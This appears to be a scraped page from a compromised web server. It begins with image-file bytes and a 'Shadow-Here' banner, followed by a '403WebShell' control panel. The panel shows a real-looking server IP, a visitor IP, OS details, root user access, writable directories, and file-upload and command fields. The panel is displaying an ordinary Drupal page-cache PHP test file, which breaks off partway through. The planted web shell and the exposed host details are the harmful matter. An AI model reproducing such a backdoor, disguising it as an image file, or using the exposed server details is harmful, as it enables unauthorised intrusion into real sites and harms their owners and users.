RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /srv/wp/ciieduconnect.in/www/core/modules/page_cache/tests/src/Functional/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /srv/wp/ciieduconnect.in/www/core/modules/page_cache/tests/src/Functional/PageCacheTest.php
<?php

namespace Drupal\Tests\page_cache\Functional;

use Drupal\Component\Datetime\DateTimePlus;
use Drupal\Core\Site\Settings;
use Drupal\Core\Url;
use Drupal\entity_test\Entity\EntityTest;
use Drupal\Core\Cache\Cache;
use Drupal\Tests\BrowserTestBase;
use Drupal\Tests\system\Functional\Cache\AssertPageCacheContextsAndTagsTrait;
use Drupal\user\RoleInterface;

/**
 * Enables the page cache and tests it with various HTTP requests.
 *
 * @group page_cache
 */
class PageCacheTest extends BrowserTestBase {

  use AssertPageCacheContextsAndTagsTrait;

  /**
   * Modules to enable.
   *
   * @var array
   */
  protected static $modules = ['test_page_test', 'system_test', 'entity_test'];

  /**
   * {@inheritdoc}
   */
  protected $defaultTheme = 'stark';

  /**
   * {@inheritdoc}
   */
  protected function setUp(): void {
    parent::setUp();

    $this->config('system.site')
      ->set('name', 'Drupal')
      ->set('page.front', '/test-page')
      ->save();
  }

  /**
   * Tests that cache tags are properly persisted.
   *
   * Since tag based invalidation works, we know that our tag properly
   * persisted.
   */
  public function testPageCacheTags() {
    $config = $this->config('system.performance');
    $config->set('cache.page.max_age', 300);
    $config->save();

    $path = 'system-test/cache_tags_page';
    $tags = ['system_test_cache_tags_page'];
    $this->drupalGet($path);
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'MISS');

    // Verify a cache hit, but also the presence of the correct cache tags.
    $this->drupalGet($path);
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'HIT');
    $cid_parts = [Url::fromRoute('system_test.cache_tags_page', [], ['absolute' => TRUE])->toString(), ''];
    $cid = implode(':', $cid_parts);
    $cache_entry = \Drupal::cache('page')->get($cid);
    sort($cache_entry->tags);
    $expected_tags = [
      'config:user.role.anonymous',
      'http_response',
      'pre_render',
      'rendered',
      'system_test_cache_tags_page',
    ];
    $this->assertSame($expected_tags, $cache_entry->tags);

    Cache::invalidateTags($tags);
    $this->drupalGet($path);
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'MISS');
  }

  /**
   * Tests that the page cache doesn't depend on cacheability headers.
   */
  public function testPageCacheTagsIndependentFromCacheabilityHeaders() {
    // Disable the cacheability headers.
    $this->setContainerParameter('http.response.debug_cacheability_headers', FALSE);
    $this->rebuildContainer();
    $this->resetAll();

    $path = 'system-test/cache_tags_page';
    $tags = ['system_test_cache_tags_page'];
    $this->drupalGet($path);
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'MISS');

    // Verify a cache hit, but also the presence of the correct cache tags.
    $this->drupalGet($path);
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'HIT');
    $cid_parts = [Url::fromRoute('system_test.cache_tags_page', [], ['absolute' => TRUE])->toString(), ''];
    $cid = implode(':', $cid_parts);
    $cache_entry = \Drupal::cache('page')->get($cid);
    sort($cache_entry->tags);
    $expected_tags = [
      'config:user.role.anonymous',
      'http_response',
      'pre_render',
      'rendered',
      'system_test_cache_tags_page',
    ];
    $this->assertSame($expected_tags, $cache_entry->tags);

    Cache::invalidateTags($tags);
    $this->drupalGet($path);
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'MISS');
  }

  /**
   * Tests support for different cache items with different request formats
   * specified via a query parameter.
   */
  public function testQueryParameterFormatRequests() {
    $config = $this->config('system.performance');
    $config->set('cache.page.max_age', 300);
    $config->save();

    $accept_header_cache_url = Url::fromRoute('system_test.page_cache_accept_header');
    $accept_header_cache_url_with_json = Url::fromRoute('system_test.page_cache_accept_header', ['_format' => 'json']);

    $this->drupalGet($accept_header_cache_url);
    // Verify that HTML page was not yet cached.
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'MISS');
    $this->drupalGet($accept_header_cache_url);
    // Verify that HTML page was cached.
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'HIT');
    // Verify that the correct HTML response was returned.
    $this->assertSession()->responseContains('<p>oh hai this is html.</p>');

    $this->drupalGet($accept_header_cache_url_with_json);
    // Verify that JSON response was not yet cached.
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'MISS');
    $this->drupalGet($accept_header_cache_url_with_json);
    // Verify that JSON response was cached.
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'HIT');
    // Verify that the correct JSON response was returned.
    $this->assertSession()->responseContains('{"content":"oh hai this is json"}');
  }

  /**
   * Tests support of requests with If-Modified-Since and If-None-Match headers.
   */
  public function testConditionalRequests() {
    $config = $this->config('system.performance');
    $config->set('cache.page.max_age', 300);
    $config->save();

    // Fill the cache.
    $this->drupalGet('');
    // Verify the page is not printed twice when the cache is cold.
    $this->assertSession()->responseNotMatches('#<html.*<html#');

    $this->drupalGet('');
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'HIT');
    $etag = $this->getSession()->getResponseHeader('ETag');
    $last_modified = $this->getSession()->getResponseHeader('Last-Modified');

    // Ensure a conditional request returns 304 Not Modified.
    $this->drupalGet('', [], ['If-Modified-Since' => $last_modified, 'If-None-Match' => $etag]);
    $this->assertSession()->statusCodeEquals(304);

    // Ensure a conditional request with obsolete If-Modified-Since date
    // returns 304 Not Modified.
    $this->drupalGet('', [], [
      'If-Modified-Since' => gmdate(DATE_RFC822, strtotime($last_modified)),
      'If-None-Match' => $etag,
    ]);
    $this->assertSession()->statusCodeEquals(304);

    // Ensure a conditional request with obsolete If-Modified-Since date
    // returns 304 Not Modified.
    $this->drupalGet('', [], [
      'If-Modified-Since' => gmdate(DATE_RFC850, strtotime($last_modified)),
      'If-None-Match' => $etag,
    ]);
    $this->assertSession()->statusCodeEquals(304);

    // Ensure a conditional request without If-None-Match returns 200 OK.
    $this->drupalGet('', [], ['If-Modified-Since' => $last_modified, 'If-None-Match' => NULL]);
    // Verify the page is not printed twice when the cache is warm.
    $this->assertSession()->responseNotMatches('#<html.*<html#');
    $this->assertSession()->statusCodeEquals(200);
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'HIT');

    // Ensure a conditional request with If-Modified-Since newer than
    // Last-Modified returns 200 OK.
    $this->drupalGet('', [], [
      'If-Modified-Since' => gmdate(DateTimePlus::RFC7231, strtotime($last_modified) + 1),
      'If-None-Match' => $etag,
    ]);
    $this->assertSession()->statusCodeEquals(200);
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'HIT');

    // Ensure a conditional request by an authenticated user returns 200 OK.
    $user = $this->drupalCreateUser();
    $this->drupalLogin($user);
    $this->drupalGet('', [], ['If-Modified-Since' => $last_modified, 'If-None-Match' => $etag]);
    $this->assertSession()->statusCodeEquals(200);
    // Verify that absence of Page was not cached.
    $this->assertSession()->responseHeaderDoesNotExist('X-Drupal-Cache');
  }

  /**
   * Tests cache headers.
   */
  public function testPageCache() {
    $config = $this->config('system.performance');
    $config->set('cache.page.max_age', 300);
    $config->save();

    // Fill the cache.
    $this->drupalGet('system-test/set-header', ['query' => ['name' => 'Foo', 'value' => 'bar']]);
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'MISS');
    $this->assertSession()->responseHeaderContains('Vary', 'cookie');
    // Symfony's Response logic determines a specific order for the subvalues
    // of the Cache-Control header, even if they are explicitly passed in to
    // the response header bag in a different order.
    $this->assertSession()->responseHeaderEquals('Cache-Control', 'max-age=300, public');
    $this->assertSession()->responseHeaderEquals('Expires', 'Sun, 19 Nov 1978 05:00:00 GMT');
    $this->assertSession()->responseHeaderEquals('Foo', 'bar');

    // Check cache.
    $this->drupalGet('system-test/set-header', ['query' => ['name' => 'Foo', 'value' => 'bar']]);
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'HIT');
    $this->assertSession()->responseHeaderContains('Vary', 'cookie');
    $this->assertSession()->responseHeaderEquals('Cache-Control', 'max-age=300, public');
    $this->assertSession()->responseHeaderEquals('Expires', 'Sun, 19 Nov 1978 05:00:00 GMT');
    $this->assertSession()->responseHeaderEquals('Foo', 'bar');

    // Check replacing default headers.
    $this->drupalGet('system-test/set-header', ['query' => ['name' => 'Expires', 'value' => 'Fri, 19 Nov 2008 05:00:00 GMT']]);
    $this->assertSession()->responseHeaderEquals('Expires', 'Fri, 19 Nov 2008 05:00:00 GMT');
    $this->drupalGet('system-test/set-header', ['query' => ['name' => 'Vary', 'value' => 'User-Agent']]);
    $this->assertSession()->responseHeaderContains('Vary', 'user-agent');

    // Check that authenticated users bypass the cache.
    $user = $this->drupalCreateUser();
    $this->drupalLogin($user);
    $this->drupalGet('system-test/set-header', ['query' => ['name' => 'Foo', 'value' => 'bar']]);
    $this->assertSession()->responseHeaderDoesNotExist('X-Drupal-Cache');
    $this->assertSession()->responseHeaderNotContains('Vary', 'cookie');
    $this->assertSession()->responseHeaderEquals('Cache-Control', 'must-revalidate, no-cache, private');
    $this->assertSession()->responseHeaderEquals('Expires', 'Sun, 19 Nov 1978 05:00:00 GMT');
    $this->assertSession()->responseHeaderEquals('Foo', 'bar');

    // Until bubbling of max-age up to the response is supported, verify that
    // a custom #cache max-age set on an element does not affect page max-age.
    $this->drupalLogout();
    $this->drupalGet('system-test/cache_maxage_page');
    $this->assertSession()->responseHeaderEquals('Cache-Control', 'max-age=300, public');
  }

  /**
   * Tests the automatic presence of the anonymous role's cache tag.
   *
   * The 'user.permissions' cache context ensures that if the permissions for a
   * role are modified, users are not served stale render cache content. But,
   * when entire responses are cached in reverse proxies, the value for the
   * cache context is never calculated, causing the stale response to not be
   * invalidated. Therefore, when varying by permissions and the current user is
   * the anonymous user, the cache tag for the 'anonymous' role must be added.
   *
   * This test verifies that, and it verifies that it does not happen for other
   * roles.
   */
  public function testPageCacheAnonymousRolePermissions() {
    $config = $this->config('system.performance');
    $config->set('cache.page.max_age', 300);
    $config->save();

    $content_url = Url::fromRoute('system_test.permission_dependent_content');
    $route_access_url = Url::fromRoute('system_test.permission_dependent_route_access');

    // 1. anonymous user, without permission.
    $this->drupalGet($content_url);
    $this->assertSession()->pageTextContains('Permission to pet llamas: no!');
    $this->assertCacheContext('user.permissions');
    $this->assertSession()->responseHeaderContains('X-Drupal-Cache-Tags', 'config:user.role.anonymous');
    $this->drupalGet($route_access_url);
    $this->assertCacheContext('user.permissions');
    $this->assertSession()->responseHeaderContains('X-Drupal-Cache-Tags', 'config:user.role.anonymous');

    // 2. anonymous user, with permission.
    user_role_grant_permissions(RoleInterface::ANONYMOUS_ID, ['pet llamas']);
    $this->drupalGet($content_url);
    $this->assertSession()->pageTextContains('Permission to pet llamas: yes!');
    $this->assertCacheContext('user.permissions');
    $this->assertSession()->responseHeaderContains('X-Drupal-Cache-Tags', 'config:user.role.anonymous');
    $this->drupalGet($route_access_url);
    $this->assertCacheContext('user.permissions');
    $this->assertSession()->responseHeaderContains('X-Drupal-Cache-Tags', 'config:user.role.anonymous');

    // 3. authenticated user, without permission.
    $auth_user = $this->drupalCreateUser();
    $this->drupalLogin($auth_user);
    $this->drupalGet($content_url);
    $this->assertSession()->pageTextContains('Permission to pet llamas: no!');
    $this->assertCacheContext('user.permissions');
    $this->assertSession()->responseHeaderNotContains('X-Drupal-Cache-Tags', 'config:user.role.authenticated');
    $this->drupalGet($route_access_url);
    $this->assertCacheContext('user.permissions');
    $this->assertSession()->responseHeaderNotContains('X-Drupal-Cache-Tags', 'config:user.role.authenticated');

    // 4. authenticated user, with permission.
    user_role_grant_permissions(RoleInterface::AUTHENTICATED_ID, ['pet llamas']);
    $this->drupalGet($content_url);
    $this->assertSession()->pageTextContains('Permission to pet llamas: yes!');
    $this->assertCacheContext('user.permissions');
    $this->assertSession()->responseHeaderNotContains('X-Drupal-Cache-Tags', 'config:user.role.authenticated');
    $this->drupalGet($route_access_url);
    $this->assertCacheContext('user.permissions');
    $this->assertSession()->responseHeaderNotContains('X-Drupal-Cache-Tags', 'config:user.role.authenticated');
  }

  /**
   * Tests the 4xx-response cache tag is added and invalidated.
   */
  public function testPageCacheAnonymous403404() {
    $admin_url = Url::fromRoute('system.admin');
    $invalid_url = 'foo/does_not_exist';
    $tests = [
      403 => $admin_url,
      404 => $invalid_url,
    ];
    $cache_ttl_4xx = Settings::get('cache_ttl_4xx', 3600);
    foreach ($tests as $code => $content_url) {
      // Anonymous user, without permissions.
      $this->drupalGet($content_url);
      $this->assertSession()->statusCodeEquals($code);
      $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'MISS');
      $this->assertSession()->responseHeaderContains('X-Drupal-Cache-Tags', '4xx-response');
      $this->drupalGet($content_url);
      $this->assertSession()->statusCodeEquals($code);
      $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'HIT');
      $entity_values = [
        'name' => $this->randomMachineName(),
        'user_id' => 1,
        'field_test_text' => [
          0 => [
            'value' => $this->randomString(),
            'format' => 'plain_text',
          ],
        ],
      ];
      $entity = EntityTest::create($entity_values);
      $entity->save();
      // Saving an entity clears 4xx cache tag.
      $this->drupalGet($content_url);
      $this->assertSession()->statusCodeEquals($code);
      $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'MISS');
      $this->drupalGet($content_url);
      $this->assertSession()->statusCodeEquals($code);
      $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'HIT');
      // Rebuilding the router should invalidate the 4xx cache tag.
      $this->container->get('router.builder')->rebuild();
      $this->drupalGet($content_url);
      $this->assertSession()->statusCodeEquals($code);
      $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'MISS');

      // Ensure the 'expire' field on the cache entry uses cache_ttl_4xx.
      $cache_item = \Drupal::service('cache.page')->get($this->getUrl() . ':');
      $difference = $cache_item->expire - (int) $cache_item->created;
      // Given that a second might have passed we cannot be sure that
      // $difference will exactly equal the default cache_ttl_4xx setting.
      // Account for any timing difference or rounding errors by ensuring the
      // value is within 10 seconds.
      $this->assertTrue(
        $difference > $cache_ttl_4xx - 10 &&
        $difference < $cache_ttl_4xx + 10,
        "The cache entry expiry time uses the cache_ttl_4xx setting. Expire: {$cache_item->expire} Created: {$cache_item->created}"
      );
    }

    // Disable 403 and 404 caching.
    $settings['settings']['cache_ttl_4xx'] = (object) [
